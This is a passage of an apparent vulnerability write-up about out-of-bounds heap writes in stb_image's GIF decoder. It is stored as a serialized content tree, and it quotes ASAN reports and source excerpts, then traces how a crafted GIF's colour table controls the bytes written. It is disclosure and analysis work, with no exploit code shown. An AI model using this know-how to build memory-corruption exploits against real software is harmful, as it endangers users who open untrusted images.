",{"type":21,"tag":153,"props":150377,"children":150378},{"style":198},[150379],{"type":26,"value":7310},{"type":21,"tag":153,"props":150381,"children":150382},{"style":300},[150383],{"type":26,"value":14466},{"type":21,"tag":153,"props":150385,"children":150386},{"style":160},[150387],{"type":26,"value":11387},{"type":21,"tag":153,"props":150389,"children":150390},{"style":198},[150391],{"type":26,"value":2367},{"type":21,"tag":153,"props":150393,"children":150394},{"style":300},[150395],{"type":26,"value":7253},{"type":21,"tag":153,"props":150397,"children":150398},{"style":160},[150399],{"type":26,"value":51364},{"type":21,"tag":153,"props":150401,"children":150402},{"style":3050},[150403],{"type":26,"value":150404},"          // OOB write\n",{"type":21,"tag":22,"props":150406,"children":150407},{},[150408,150410,150415,150417,150423,150425,150431],{"type":26,"value":150409},"It’s reasonable to assume ",{"type":21,"tag":78,"props":150411,"children":150413},{"className":150412},[],[150414],{"type":26,"value":78814},{"type":26,"value":150416}," is outside the bounds of ",{"type":21,"tag":78,"props":150418,"children":150420},{"className":150419},[],[150421],{"type":26,"value":150422},"g->history",{"type":26,"value":150424},", which leads to a one-byte OOB write (",{"type":21,"tag":78,"props":150426,"children":150428},{"className":150427},[],[150429],{"type":26,"value":150430},"g->history[idx / 4] = 1",{"type":26,"value":150432},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":21,"tag":22,"props":150434,"children":150435},{},[150436,150438,150443,150445,150451,150453,150458,150460,150466,150468,150474],{"type":26,"value":150437},"Because ",{"type":21,"tag":78,"props":150439,"children":150441},{"className":150440},[],[150442],{"type":26,"value":22},{"type":26,"value":150444}," is computed from ",{"type":21,"tag":78,"props":150446,"children":150448},{"className":150447},[],[150449],{"type":26,"value":150450},"g->out[idx]",{"type":26,"value":150452}," immediately before the violation, we considered whether ",{"type":21,"tag":78,"props":150454,"children":150456},{"className":150455},[],[150457],{"type":26,"value":78814},{"type":26,"value":150459}," could also be OOB for ",{"type":21,"tag":78,"props":150461,"children":150463},{"className":150462},[],[150464],{"type":26,"value":150465},"g->out",{"type":26,"value":150467},". Note that computing the address ",{"type":21,"tag":78,"props":150469,"children":150471},{"className":150470},[],[150472],{"type":26,"value":150473},"&g->out[idx]",{"type":26,"value":150475}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":21,"tag":22,"props":150477,"children":150478},{},[150479,150481,150486],{"type":26,"value":150480},"If we comment out ",{"type":21,"tag":78,"props":150482,"children":150484},{"className":150483},[],[150485],{"type":26,"value":150430},{"type":26,"value":150487}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":21,"tag":143,"props":150489,"children":150491},{"code":150490},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[150492],{"type":21,"tag":78,"props":150493,"children":150494},{"__ignoreMap":7},[150495],{"type":26,"value":150490},{"type":21,"tag":22,"props":150497,"children":150498},{},[150499],{"type":26,"value":150500},"This corresponds to:",{"type":21,"tag":143,"props":150502,"children":150504},{"code":150503,"language":5896,"meta":7,"className":19212,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[150505],{"type":21,"tag":78,"props":150506,"children":150507},{"__ignoreMap":7},[150508,150547,150554,150561,150568,150611,150642,150686,150693,150761,150801,150846,150885,150924,150963],{"type":21,"tag":153,"props":150509,"children":150510},{"class":155,"line":156},[150511,150515,150519,150523,150527,150531,150535,150539,150543],{"type":21,"tag":153,"props":150512,"children":150513},{"style":170},[150514],{"type":26,"value":53335},{"type":21,"tag":153,"props":150516,"children":150517},{"style":170},[150518],{"type":26,"value":53340},{"type":21,"tag":153,"props":150520,"children":150521},{"style":181},[150522],{"type":26,"value":150119},{"type":21,"tag":153,"props":150524,"children":150525},{"style":160},[150526],{"type":26,"value":150124},{"type":21,"tag":153,"props":150528,"children":150529},{"style":198},[150530],{"type":26,"value":313},{"type":21,"tag":153,"props":150532,"children":150533},{"style":192},[150534],{"type":26,"value":111595},{"type":21,"tag":153,"props":150536,"children":150537},{"style":160},[150538],{"type":26,"value":150137},{"type":21,"tag":153,"props":150540,"children":150541},{"style":192},[150542],{"type":26,"value":78},{"type":21,"tag":153,"props":150544,"children":150545},{"style":160},[150546],{"type":26,"value":5909},{"type":21,"tag":153,"props":150548,"children":150549},{"class":155,"line":166},[150550],{"type":21,"tag":153,"props":150551,"children":150552},{"style":160},[150553],{"type":26,"value":13601},{"type":21,"tag":153,"props":150555,"children":150556},{"class":155,"line":225},[150557],{"type":21,"tag":153,"props":150558,"children":150559},{"style":160},[150560],{"type":26,"value":150206},{"type":21,"tag":153,"props":150562,"children":150563},{"class":155,"line":239},[150564],{"type":21,"tag":153,"props":150565,"children":150566},{"emptyLinePlaceholder":16},[150567],{"type":26,"value":759},{"type":21,"tag":153,"props":150569,"children":150570},{"class":155,"line":382},[150571,150575,150579,150583,150587,150591,150595,150599,150603,150607],{"type":21,"tag":153,"props":150572,"children":150573},{"style":160},[150574],{"type":26,"value":150282},{"type":21,"tag":153,"props":150576,"children":150577},{"style":198},[150578],{"type":26,"value":2367},{"type":21,"tag":153,"props":150580,"children":150581},{"style":192},[150582],{"type":26,"value":150246},{"type":21,"tag":153,"props":150584,"children":150585},{"style":160},[150586],{"type":26,"value":2953},{"type":21,"tag":153,"props":150588,"children":150589},{"style":192},[150590],{"type":26,"value":150299},{"type":21,"tag":153,"props":150592,"children":150593},{"style":198},[150594],{"type":26,"value":5527},{"type":21,"tag":153,"props":150596,"children":150597},{"style":192},[150598],{"type":26,"value":150246},{"type":21,"tag":153,"props":150600,"children":150601},{"style":160},[150602],{"type":26,"value":2953},{"type":21,"tag":153,"props":150604,"children":150605},{"style":192},[150606],{"type":26,"value":150237},{"type":21,"tag":153,"props":150608,"children":150609},{"style":160},[150610],{"type":26,"value":150320},{"type":21,"tag":153,"props":150612,"children":150613},{"class":155,"line":501},[150614,150618,150622,150626,150630,150634,150638],{"type":21,"tag":153,"props":150615,"children":150616},{"style":160},[150617],{"type":26,"value":150328},{"type":21,"tag":153,"props":150619,"children":150620},{"style":198},[150621],{"type":26,"value":2367},{"type":21,"tag":153,"props":150623,"children":150624},{"style":198},[150625],{"type":26,"value":206},{"type":21,"tag":153,"props":150627,"children":150628},{"style":192},[150629],{"type":26,"value":111595},{"type":21,"tag":153,"props":150631,"children":150632},{"style":160},[150633],{"type":26,"value":2953},{"type":21,"tag":153,"props":150635,"children":150636},{"style":192},[150637],{"type":26,"value":121018},{"type":21,"tag":153,"props":150639,"children":150640},{"style":160},[150641],{"type":26,"value":150353},{"type":21,"tag":153,"props":150643,"children":150644},{"class":155,"line":533},[150645,150649,150653,150657,150661,150665,150669,150673,150677,150681],{"type":21,"tag":153,"props":150646,"children":150647},{"style":192},[150648],{"type":26,"value":150361},{"type":21,"tag":153,"props":150650,"children":150651},{"style":160},[150652],{"type":26,"value":2953},{"type":21,"tag":153,"props":150654,"children":150655},{"style":192},[150656],{"type":26,"value":150370},{"type":21,"tag":153,"props":150658,"children":150659},{"style":160},[150660],{"type":26,"value":150375},{"type":21,"tag":153,"props":150662,"children":150663},{"style":198},[150664],{"type":26,"value":7310},{"type":21,"tag":153,"props":150666,"children":150667},{"style":300},[150668],{"type":26,"value":14466},{"type":21,"tag":153,"props":150670,"children":150671},{"style":160},[150672],{"type":26,"value":11387},{"type":21,"tag":153,"props":150674,"children":150675},{"style":198},[150676],{"type":26,"value":2367},{"type":21,"tag":153,"props":150678,"children":150679},{"style":300},[150680],{"type":26,"value":7253},{"type":21,"tag":153,"props":150682,"children":150683},{"style":160},[150684],{"type":26,"value":150685},";  \n",{"type":21,"tag":153,"props":150687,"children":150688},{"class":155,"line":542},[150689],{"type":21,"tag":153,"props":150690,"children":150691},{"emptyLinePlaceholder":16},[150692],{"type":26,"value":759},{"type":21,"tag":153,"props":150694,"children":150695},{"class":155,"line":762},[150696,150701,150705,150709,150713,150717,150722,150726,150730,150734,150739,150744,150749,150753,150757],{"type":21,"tag":153,"props":150697,"children":150698},{"style":160},[150699],{"type":26,"value":150700},"   c ",{"type":21,"tag":153,"props":150702,"children":150703},{"style":198},[150704],{"type":26,"value":2367},{"type":21,"tag":153,"props":150706,"children":150707},{"style":198},[150708],{"type":26,"value":206},{"type":21,"tag":153,"props":150710,"children":150711},{"style":192},[150712],{"type":26,"value":111595},{"type":21,"tag":153,"props":150714,"children":150715},{"style":160},[150716],{"type":26,"value":2953},{"type":21,"tag":153,"props":150718,"children":150719},{"style":192},[150720],{"type":26,"value":150721},"color_table",{"type":21,"tag":153,"props":150723,"children":150724},{"style":160},[150725],{"type":26,"value":211},{"type":21,"tag":153,"props":150727,"children":150728},{"style":192},[150729],{"type":26,"value":111595},{"type":21,"tag":153,"props":150731,"children":150732},{"style":160},[150733],{"type":26,"value":2953},{"type":21,"tag":153,"props":150735,"children":150736},{"style":192},[150737],{"type":26,"value":150738},"codes",{"type":21,"tag":153,"props":150740,"children":150741},{"style":160},[150742],{"type":26,"value":150743},"[code].",{"type":21,"tag":153,"props":150745,"children":150746},{"style":192},[150747],{"type":26,"value":150748},"suffix",{"type":21,"tag":153,"props":150750,"children":150751},{"style":198},[150752],{"type":26,"value":5080},{"type":21,"tag":153,"props":150754,"children":150755},{"style":300},[150756],{"type":26,"value":14466},{"type":21,"tag":153,"props":150758,"children":150759},{"style":160},[150760],{"type":26,"value":1234},{"type":21,"tag":153,"props":150762,"children":150763},{"class":155,"line":776},[150764,150768,150772,150776,150780,150784,150788,150792,150797],{"type":21,"tag":153,"props":150765,"children":150766},{"style":1751},[150767],{"type":26,"value":54935},{"type":21,"tag":153,"props":150769,"children":150770},{"style":160},[150771],{"type":26,"value":5820},{"type":21,"tag":153,"props":150773,"children":150774},{"style":192},[150775],{"type":26,"value":5896},{"type":21,"tag":153,"props":150777,"children":150778},{"style":160},[150779],{"type":26,"value":211},{"type":21,"tag":153,"props":150781,"children":150782},{"style":300},[150783],{"type":26,"value":4303},{"type":21,"tag":153,"props":150785,"children":150786},{"style":160},[150787],{"type":26,"value":11387},{"type":21,"tag":153,"props":150789,"children":150790},{"style":198},[150791],{"type":26,"value":13182},{"type":21,"tag":153,"props":150793,"children":150794},{"style":300},[150795],{"type":26,"value":150796}," 128",{"type":21,"tag":153,"props":150798,"children":150799},{"style":160},[150800],{"type":26,"value":2659},{"type":21,"tag":153,"props":150802,"children":150803},{"class":155,"line":795},[150804,150809,150813,150817,150821,150825,150829,150833,150837,150841],{"type":21,"tag":153,"props":150805,"children":150806},{"style":192},[150807],{"type":26,"value":150808},"      p",{"type":21,"tag":153,"props":150810,"children":150811},{"style":160},[150812],{"type":26,"value":211},{"type":21,"tag":153,"props":150814,"children":150815},{"style":300},[150816],{"type":26,"value":2996},{"type":21,"tag":153,"props":150818,"children":150819},{"style":160},[150820],{"type":26,"value":11387},{"type":21,"tag":153,"props":150822,"children":150823},{"style":198},[150824],{"type":26,"value":2367},{"type":21,"tag":153,"props":150826,"children":150827},{"style":192},[150828],{"type":26,"value":40138},{"type":21,"tag":153,"props":150830,"children":150831},{"style":160},[150832],{"type":26,"value":211},{"type":21,"tag":153,"props":150834,"children":150835},{"style":300},[150836],{"type":26,"value":5873},{"type":21,"tag":153,"props":150838,"children":150839},{"style":160},[150840],{"type":26,"value":58203},{"type":21,"tag":153,"props":150842,"children":150843},{"style":3050},[150844],{"type":26,"value":150845},"        // OOB write\n",{"type":21,"tag":153,"props":150847,"children":150848},{"class":155,"line":808},[150849,150853,150857,150861,150865,150869,150873,150877,150881],{"type":21,"tag":153,"props":150850,"children":150851},{"style":192},[150852],{"type":26,"value":150808},{"type":21,"tag":153,"props":150854,"children":150855},{"style":160},[150856],{"type":26,"value":211},{"type":21,"tag":153,"props":150858,"children":150859},{"style":300},[150860],{"type":26,"value":3033},{"type":21,"tag":153,"props":150862,"children":150863},{"style":160},[150864],{"type":26,"value":11387},{"type":21,"tag":153,"props":150866,"children":150867},{"style":198},[150868],{"type":26,"value":2367},{"type":21,"tag":153,"props":150870,"children":150871},{"style":192},[150872],{"type":26,"value":40138},{"type":21,"tag":153,"props":150874,"children":150875},{"style":160},[150876],{"type":26,"value":211},{"type":21,"tag":153,"props":150878,"children":150879},{"style":300},[150880],{"type":26,"value":3033},{"type":21,"tag":153,"props":150882,"children":150883},{"style":160},[150884],{"type":26,"value":1234},{"type":21,"tag":153,"props":150886,"children":150887},{"class":155,"line":820},[150888,150892,150896,150900,150904,150908,150912,150916,150920],{"type":21,"tag":153,"props":150889,"children":150890},{"style":192},[150891],{"type":26,"value":150808},{"type":21,"tag":153,"props":150893,"children":150894},{"style":160},[150895],{"type":26,"value":211},{"type":21,"tag":153,"props":150897,"children":150898},{"style":300},[150899],{"type":26,"value":5873},{"type":21,"tag":153,"props":150901,"children":150902},{"style":160},[150903],{"type":26,"value":11387},{"type":21,"tag":153,"props":150905,"children":150906},{"style":198},[150907],{"type":26,"value":2367},{"type":21,"tag":153,"props":150909,"children":150910},{"style":192},[150911],{"type":26,"value":40138},{"type":21,"tag":153,"props":150913,"children":150914},{"style":160},[150915],{"type":26,"value":211},{"type":21,"tag":153,"props":150917,"children":150918},{"style":300},[150919],{"type":26,"value":2996},{"type":21,"tag":153,"props":150921,"children":150922},{"style":160},[150923],{"type":26,"value":1234},{"type":21,"tag":153,"props":150925,"children":150926},{"class":155,"line":842},[150927,150931,150935,150939,150943,150947,150951,150955,150959],{"type":21,"tag":153,"props":150928,"children":150929},{"style":192},[150930],{"type":26,"value":150808},{"type":21,"tag":153,"props":150932,"children":150933},{"style":160},[150934],{"type":26,"value":211},{"type":21,"tag":153,"props":150936,"children":150937},{"style":300},[150938],{"type":26,"value":4303},{"type":21,"tag":153,"props":150940,"children":150941},{"style":160},[150942],{"type":26,"value":11387},{"type":21,"tag":153,"props":150944,"children":150945},{"style":198},[150946],{"type":26,"value":2367},{"type":21,"tag":153,"props":150948,"children":150949},{"style":192},[150950],{"type":26,"value":40138},{"type":21,"tag":153,"props":150952,"children":150953},{"style":160},[150954],{"type":26,"value":211},{"type":21,"tag":153,"props":150956,"children":150957},{"style":300},[150958],{"type":26,"value":4303},{"type":21,"tag":153,"props":150960,"children":150961},{"style":160},[150962],{"type":26,"value":1234},{"type":21,"tag":153,"props":150964,"children":150965},{"class":155,"line":3204},[150966],{"type":21,"tag":153,"props":150967,"children":150968},{"style":160},[150969],{"type":26,"value":37442},{"type":21,"tag":22,"props":150971,"children":150972},{},[150973,150975,150980,150982,150987],{"type":26,"value":150974},"This confirms ",{"type":21,"tag":78,"props":150976,"children":150978},{"className":150977},[],[150979],{"type":26,"value":78814},{"type":26,"value":150981}," is OOB for ",{"type":21,"tag":78,"props":150983,"children":150985},{"className":150984},[],[150986],{"type":26,"value":150465},{"type":26,"value":150988}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":21,"tag":22,"props":150990,"children":150991},{},[150992,150994,151000,151002,151009],{"type":26,"value":150993},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":21,"tag":78,"props":150995,"children":150997},{"className":150996},[],[150998],{"type":26,"value":150999},"g->color_table",{"type":26,"value":151001}," is populated by ",{"type":21,"tag":29,"props":151003,"children":151006},{"href":151004,"rel":151005},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[33],[151007],{"type":26,"value":151008},"stbi__gif_parse_colortable",{"type":26,"value":201},{"type":21,"tag":143,"props":151011,"children":151013},{"code":151012,"language":5896,"meta":7,"className":19212,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[151014],{"type":21,"tag":78,"props":151015,"children":151016},{"__ignoreMap":7},[151017,151037,151057,151096,151112,151124,151131,151142,151185,151219,151250,151281,151338,151345],{"type":21,"tag":153,"props":151018,"children":151019},{"class":155,"line":156},[151020,151024,151028,151033],{"type":21,"tag":153,"props":151021,"children":151022},{"style":170},[151023],{"type":26,"value":53335},{"type":21,"tag":153,"props":151025,"children":151026},{"style":170},[151027],{"type":26,"value":53340},{"type":21,"tag":153,"props":151029,"children":151030},{"style":181},[151031],{"type":26,"value":151032}," stbi__gif_parse_colortable",{"type":21,"tag":153,"props":151034,"children":151035},{"style":160},[151036],{"type":26,"value":773},{"type":21,"tag":153,"props":151038,"children":151039},{"class":155,"line":166},[151040,151045,151049,151053],{"type":21,"tag":153,"props":151041,"children":151042},{"style":160},[151043],{"type":26,"value":151044},"    stbi__context ",{"type":21,"tag":153,"props":151046,"children":151047},{"style":198},[151048],{"type":26,"value":313},{"type":21,"tag":153,"props":151050,"children":151051},{"style":192},[151052],{"type":26,"value":13372},{"type":21,"tag":153,"props":151054,"children":151055},{"style":160},[151056],{"type":26,"value":792},{"type":21,"tag":153,"props":151058,"children":151059},{"class":155,"line":225},[151060,151065,151070,151074,151078,151082,151086,151091],{"type":21,"tag":153,"props":151061,"children":151062},{"style":160},[151063],{"type":26,"value":151064},"    stbi_uc ",{"type":21,"tag":153,"props":151066,"children":151067},{"style":192},[151068],{"type":26,"value":151069},"pal",{"type":21,"tag":153,"props":151071,"children":151072},{"style":160},[151073],{"type":26,"value":211},{"type":21,"tag":153,"props":151075,"children":151076},{"style":300},[151077],{"type":26,"value":95592},{"type":21,"tag":153,"props":151079,"children":151080},{"style":160},[151081],{"type":26,"value":51248},{"type":21,"tag":153,"props":151083,"children":151084},{"style":300},[151085],{"type":26,"value":4104},{"type":21,"tag":153,"props":151087,"children":151088},{"style":160},[151089],{"type":26,"value":151090},"],",{"type":21,"tag":153,"props":151092,"children":151093},{"style":3050},[151094],{"type":26,"value":151095},"    // g->color_table\n",{"type":21,"tag":153,"props":151097,"children":151098},{"class":155,"line":239},[151099,151103,151108],{"type":21,"tag":153,"props":151100,"children":151101},{"style":170},[151102],{"type":26,"value":21773},{"type":21,"tag":153,"props":151104,"children":151105},{"style":192},[151106],{"type":26,"value":151107}," num_entries",{"type":21,"tag":153,"props":151109,"children":151110},{"style":160},[151111],{"type":26,"value":792},{"type":21,"tag":153,"props":151113,"children":151114},{"class":155,"line":382},[151115,151119],{"type":21,"tag":153,"props":151116,"children":151117},{"style":170},[151118],{"type":26,"value":21773},{"type":21,"tag":153,"props":151120,"children":151121},{"style":160},[151122],{"type":26,"value":151123}," transp\n",{"type":21,"tag":153,"props":151125,"children":151126},{"class":155,"line":501},[151127],{"type":21,"tag":153,"props":151128,"children":151129},{"style":160},[151130],{"type":26,"value":2659},{"type":21,"tag":153,"props":151132,"children":151133},{"class":155,"line":533},[151134,151138],{"type":21,"tag":153,"props":151135,"children":151136},{"style":170},[151137],{"type":26,"value":150186},{"type":21,"tag":153,"props":151139,"children":151140},{"style":160},[151141],{"type":26,"value":60256},{"type":21,"tag":153,"props":151143,"children":151144},{"class":155,"line":542},[151145,151150,151155,151159,151163,151167,151171,151176,151180],{"type":21,"tag":153,"props":151146,"children":151147},{"style":1751},[151148],{"type":26,"value":151149},"   for",{"type":21,"tag":153,"props":151151,"children":151152},{"style":160},[151153],{"type":26,"value":151154}," (i",{"type":21,"tag":153,"props":151156,"children":151157},{"style":198},[151158],{"type":26,"value":2367},{"type":21,"tag":153,"props":151160,"children":151161},{"style":300},[151162],{"type":26,"value":2996},{"type":21,"tag":153,"props":151164,"children":151165},{"style":160},[151166],{"type":26,"value":53524},{"type":21,"tag":153,"props":151168,"children":151169},{"style":198},[151170],{"type":26,"value":8537},{"type":21,"tag":153,"props":151172,"children":151173},{"style":160},[151174],{"type":26,"value":151175}," num_entries; ",{"type":21,"tag":153,"props":151177,"children":151178},{"style":198},[151179],{"type":26,"value":53560},{"type":21,"tag":153,"props":151181,"children":151182},{"style":160},[151183],{"type":26,"value":151184},"i) {\n",{"type":21,"tag":153,"props":151186,"children":151187},{"class":155,"line":762},[151188,151193,151197,151201,151205,151209,151214],{"type":21,"tag":153,"props":151189,"children":151190},{"style":192},[151191],{"type":26,"value":151192},"      pal",{"type":21,"tag":153,"props":151194,"children":151195},{"style":160},[151196],{"type":26,"value":62947},{"type":21,"tag":153,"props":151198,"children":151199},{"style":300},[151200],{"type":26,"value":5873},{"type":21,"tag":153,"props":151202,"children":151203},{"style":160},[151204],{"type":26,"value":11387},{"type":21,"tag":153,"props":151206,"children":151207},{"style":198},[151208],{"type":26,"value":2367},{"type":21,"tag":153,"props":151210,"children":151211},{"style":181},[151212],{"type":26,"value":151213}," stbi__get8",{"type":21,"tag":153,"props":151215,"children":151216},{"style":160},[151217],{"type":26,"value":151218},"(s);\n",{"type":21,"tag":153,"props":151220,"children":151221},{"class":155,"line":776},[151222,151226,151230,151234,151238,151242,151246],{"type":21,"tag":153,"props":151223,"children":151224},{"style":192},[151225],{"type":26,"value":151192},{"type":21,"tag":153,"props":151227,"children":151228},{"style":160},[151229],{"type":26,"value":62947},{"type":21,"tag":153,"props":151231,"children":151232},{"style":300},[151233],{"type":26,"value":3033},{"type":21,"tag":153,"props":151235,"children":151236},{"style":160},[151237],{"type":26,"value":11387},{"type":21,"tag":153,"props":151239,"children":151240},{"style":198},[151241],{"type":26,"value":2367},{"type":21,"tag":153,"props":151243,"children":151244},{"style":181},[151245],{"type":26,"value":151213},{"type":21,"tag":153,"props":151247,"children":151248},{"style":160},[151249],{"type":26,"value":151218},{"type":21,"tag":153,"props":151251,"children":151252},{"class":155,"line":795},[151253,151257,151261,151265,151269,151273,151277],{"type":21,"tag":153,"props":151254,"children":151255},{"style":192},[151256],{"type":26,"value":151192},{"type":21,"tag":153,"props":151258,"children":151259},{"style":160},[151260],{"type":26,"value":62947},{"type":21,"tag":153,"props":151262,"children":151263},{"style":300},[151264],{"type":26,"value":2996},{"type":21,"tag":153,"props":151266,"children":151267},{"style":160},[151268],{"type":26,"value":11387},{"type":21,"tag":153,"props":151270,"children":151271},{"style":198},[151272],{"type":26,"value":2367},{"type":21,"tag":153,"props":151274,"children":151275},{"style":181},[151276],{"type":26,"value":151213},{"type":21,"tag":153,"props":151278,"children":151279},{"style":160},[151280],{"type":26,"value":151218},{"type":21,"tag":153,"props":151282,"children":151283},{"class":155,"line":808},[151284,151288,151292,151296,151300,151304,151309,151313,151317,151321,151325,151329,151334],{"type":21,"tag":153,"props":151285,"children":151286},{"style":192},[151287],{"type":26,"value":151192},{"type":21,"tag":153,"props":151289,"children":151290},{"style":160},[151291],{"type":26,"value":62947},{"type":21,"tag":153,"props":151293,"children":151294},{"style":300},[151295],{"type":26,"value":4303},{"type":21,"tag":153,"props":151297,"children":151298},{"style":160},[151299],{"type":26,"value":11387},{"type":21,"tag":153,"props":151301,"children":151302},{"style":198},[151303],{"type":26,"value":2367},{"type":21,"tag":153,"props":151305,"children":151306},{"style":160},[151307],{"type":26,"value":151308}," transp ",{"type":21,"tag":153,"props":151310,"children":151311},{"style":198},[151312],{"type":26,"value":1694},{"type":21,"tag":153,"props":151314,"children":151315},{"style":160},[151316],{"type":26,"value":56835},{"type":21,"tag":153,"props":151318,"children":151319},{"style":198},[151320],{"type":26,"value":2022},{"type":21,"tag":153,"props":151322,"children":151323},{"style":300},[151324],{"type":26,"value":5799},{"type":21,"tag":153,"props":151326,"children":151327},{"style":198},[151328],{"type":26,"value":37809},{"type":21,"tag":153,"props":151330,"children":151331},{"style":300},[151332],{"type":26,"value":151333}," 255",{"type":21,"tag":153,"props":151335,"children":151336},{"style":160},[151337],{"type":26,"value":1759},{"type":21,"tag":153,"props":151339,"children":151340},{"class":155,"line":820},[151341],{"type":21,"tag":153,"props":151342,"children":151343},{"style":160},[151344],{"type":26,"value":37442},{"type":21,"tag":153,"props":151346,"children":151347},{"class":155,"line":842},[151348],{"type":21,"tag":153,"props":151349,"children":151350},{"style":160},[151351],{"type":26,"value":548},{"type":21,"tag":22,"props":151353,"children":151354},{},[151355,151357,151362,151363,151368,151370,151375],{"type":26,"value":151356},"The first three bytes are read from the input image, while the last byte can be either ",{"type":21,"tag":78,"props":151358,"children":151360},{"className":151359},[],[151361],{"type":26,"value":2996},{"type":26,"value":15851},{"type":21,"tag":78,"props":151364,"children":151366},{"className":151365},[],[151367],{"type":26,"value":115640},{"type":26,"value":151369},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":21,"tag":78,"props":151371,"children":151373},{"className":151372},[],[151374],{"type":26,"value":3931},{"type":26,"value":201},{"type":21,"tag":143,"props":151377,"children":151379},{"code":151378,"language":5896,"meta":7,"className":19212,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[151380],{"type":21,"tag":78,"props":151381,"children":151382},{"__ignoreMap":7},[151383,151446,151485,151524,151563,151602,151641],{"type":21,"tag":153,"props":151384,"children":151385},{"class":155,"line":156},[151386,151390,151394,151398,151402,151406,151410,151414,151418,151422,151426,151430,151434,151438,151442],{"type":21,"tag":153,"props":151387,"children":151388},{"style":160},[151389],{"type":26,"value":150700},{"type":21,"tag":153,"props":151391,"children":151392},{"style":198},[151393],{"type":26,"value":2367},{"type":21,"tag":153,"props":151395,"children":151396},{"style":198},[151397],{"type":26,"value":206},{"type":21,"tag":153,"props":151399,"children":151400},{"style":160},[151401],{"type":26,"value":111595},{"type":21,"tag":153,"props":151403,"children":151404},{"style":198},[151405],{"type":26,"value":2953},{"type":21,"tag":153,"props":151407,"children":151408},{"style":192},[151409],{"type":26,"value":150721},{"type":21,"tag":153,"props":151411,"children":151412},{"style":160},[151413],{"type":26,"value":211},{"type":21,"tag":153,"props":151415,"children":151416},{"style":192},[151417],{"type":26,"value":111595},{"type":21,"tag":153,"props":151419,"children":151420},{"style":160},[151421],{"type":26,"value":2953},{"type":21,"tag":153,"props":151423,"children":151424},{"style":192},[151425],{"type":26,"value":150738},{"type":21,"tag":153,"props":151427,"children":151428},{"style":160},[151429],{"type":26,"value":150743},{"type":21,"tag":153,"props":151431,"children":151432},{"style":192},[151433],{"type":26,"value":150748},{"type":21,"tag":153,"props":151435,"children":151436},{"style":198},[151437],{"type":26,"value":5080},{"type":21,"tag":153,"props":151439,"children":151440},{"style":300},[151441],{"type":26,"value":14466},{"type":21,"tag":153,"props":151443,"children":151444},{"style":160},[151445],{"type":26,"value":1234},{"type":21,"tag":153,"props":151447,"children":151448},{"class":155,"line":166},[151449,151453,151457,151461,151465,151469,151473,151477,151481],{"type":21,"tag":153,"props":151450,"children":151451},{"style":1751},[151452],{"type":26,"value":54935},{"type":21,"tag":153,"props":151454,"children":151455},{"style":160},[151456],{"type":26,"value":5820},{"type":21,"tag":153,"props":151458,"children":151459},{"style":192},[151460],{"type":26,"value":5896},{"type":21,"tag":153,"props":151462,"children":151463},{"style":160},[151464],{"type":26,"value":211},{"type":21,"tag":153,"props":151466,"children":151467},{"style":300},[151468],{"type":26,"value":4303},{"type":21,"tag":153,"props":151470,"children":151471},{"style":160},[151472],{"type":26,"value":11387},{"type":21,"tag":153,"props":151474,"children":151475},{"style":198},[151476],{"type":26,"value":13182},{"type":21,"tag":153,"props":151478,"children":151479},{"style":300},[151480],{"type":26,"value":150796},{"type":21,"tag":153,"props":151482,"children":151483},{"style":160},[151484],{"type":26,"value":2659},{"type":21,"tag":153,"props":151486,"children":151487},{"class":155,"line":225},[151488,151492,151496,151500,151504,151508,151512,151516,151520],{"type":21,"tag":153,"props":151489,"children":151490},{"style":192},[151491],{"type":26,"value":150808},{"type":21,"tag":153,"props":151493,"children":151494},{"style":160},[151495],{"type":26,"value":211},{"type":21,"tag":153,"props":151497,"children":151498},{"style":300},[151499],{"type":26,"value":2996},{"type":21,"tag":153,"props":151501,"children":151502},{"style":160},[151503],{"type":26,"value":11387},{"type":21,"tag":153,"props":151505,"children":151506},{"style":198},[151507],{"type":26,"value":2367},{"type":21,"tag":153,"props":151509,"children":151510},{"style":192},[151511],{"type":26,"value":40138},{"type":21,"tag":153,"props":151513,"children":151514},{"style":160},[151515],{"type":26,"value":211},{"type":21,"tag":153,"props":151517,"children":151518},{"style":300},[151519],{"type":26,"value":5873},{"type":21,"tag":153,"props":151521,"children":151522},{"style":160},[151523],{"type":26,"value":1234},{"type":21,"tag":153,"props":151525,"children":151526},{"class":155,"line":239},[151527,151531,151535,151539,151543,151547,151551,151555,151559],{"type":21,"tag":153,"props":151528,"children":151529},{"style":192},[151530],{"type":26,"value":150808},{"type":21,"tag":153,"props":151532,"children":151533},{"style":160},[151534],{"type":26,"value":211},{"type":21,"tag":153,"props":151536,"children":151537},{"style":300},[151538],{"type":26,"value":3033},{"type":21,"tag":153,"props":151540,"children":151541},{"style":160},[151542],{"type":26,"value":11387},{"type":21,"tag":153,"props":151544,"children":151545},{"style":198},[151546],{"type":26,"value":2367},{"type":21,"tag":153,"props":151548,"children":151549},{"style":192},[151550],{"type":26,"value":40138},{"type":21,"tag":153,"props":151552,"children":151553},{"style":160},[151554],{"type":26,"value":211},{"type":21,"tag":153,"props":151556,